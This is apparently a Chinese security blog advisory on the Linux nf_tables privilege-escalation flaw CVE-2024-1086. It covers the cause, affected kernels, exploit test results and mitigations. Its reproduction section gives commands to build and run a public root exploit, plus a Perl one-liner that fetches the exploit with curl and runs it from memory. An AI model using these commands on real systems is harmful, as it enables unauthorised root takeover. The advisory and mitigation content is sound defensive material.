Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)
李火火安全阁 2024-08-14 14:37:05 阅读 63
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前言声明一、netfilter介绍二、漏洞成因三、漏洞危害四、影响范围五、漏洞复现六、修复方案临时解决方案升级修复方案
前言
2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。
声明
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一、netfilter介绍
netfilter是Linux内核的一个子系统,允许实现各种网络相关操作,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。
二、漏洞成因
Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook判决中的丢弃错误,因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时,nf_hook_slow()函数可能会导致双重释放漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。
三、漏洞危害
该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。
四、影响范围
该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本(不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包括CentOS、Debian、Ubuntu和 KernelCTF等。
部分内核版本PoC/EXP测试结果如下:
Kernel | Kernel Version | Distro | Distro Version | Working/Fail | CPU Platform | CPU Cores | RAM Size | Fail Reason | Test Status | Config URL |
---|---|---|---|---|---|---|---|---|---|---|
Linux | v5.4.270 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] pre-dated nft code (denies rule alloc) | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config |
Linux | v5.10.209 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] BUG mm/slub.c:4118 | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config |
Linux | v5.14.21 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config |
Linux | v5.15.148 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config |
Linux | v5.16.20 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config |
Linux | v5.17.15 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config |
Linux | v5.18.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config |
Linux | v5.19.17 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config |
Linux | v6.0.19 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config |
Linux | v6.1.55 | KernelCTF | Mitigation v3 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
Linux | v6.1.69 | Debian | Bookworm 6.1.0-17 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config |
Linux | v6.1.72 | KernelCTF | LTS | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config |
Linux | v6.2.? | Ubuntu | Jammy v6.2.0-37 | working | AMD Ryzen 5 7640U | 6 | 32GiB | n/a | final | |
Linux | v6.2.16 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config |
Linux | v6.3.13 | n/a | n/a | working | QEMU x86_64 | 8 | 16GiB | n/a | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config |
Linux | v6.4.16 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config |
Linux | v6.5.3 | Ubuntu | Jammy v6.5.0-15 | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config |
Linux | v6.5.13 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config |
Linux | v6.6.14 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config |
Linux | v6.7.1 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB | [CODE] nft verdict value incorrect is altered by kernel | final | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config |
注意事项:
(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(包括 Ubuntu v6.5)
(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y
),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone
= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y
)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。
(3)在具有大量网络活动的系统上, 该漏洞可能非常不稳定
带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。在测试设备上,请通过 BIOS 关闭 WiFi 适配器。
(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。
配置
默认值应该可以在 <code>Debian、Ubuntu
和 KernelCTF
上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h
。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM
.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG
以1
避免不必要的网络活动。
五、漏洞复现
公开EXP/POC
#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit
该项目还支持无落地文件的方法去使用,不过需要目标存在perl的前提
<code>perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
六、修复方案
临时解决方案
1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,需要仔细评估确认禁用该模块带来的影响,例如:iptables 可能需要 nf_tables 模块才能工作。
RedHat/CentOS:
# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用
Debian/Ubuntu:
# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用
2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,需要仔细评估并确认禁用所带来的影响,例如:许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。
RedHat/CentOS:
# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf
Debian/Ubuntu:
如果不需要,可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令:
# sudo sysctl -w kernel.unprivileged_userns_clone=0
重启后仍然禁用:
# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf
升级修复方案
目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149
、v6.1.76
、v6.6.15
或更高版本。
相关发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。
Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086
CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html
RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086
Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086
统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633
麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html
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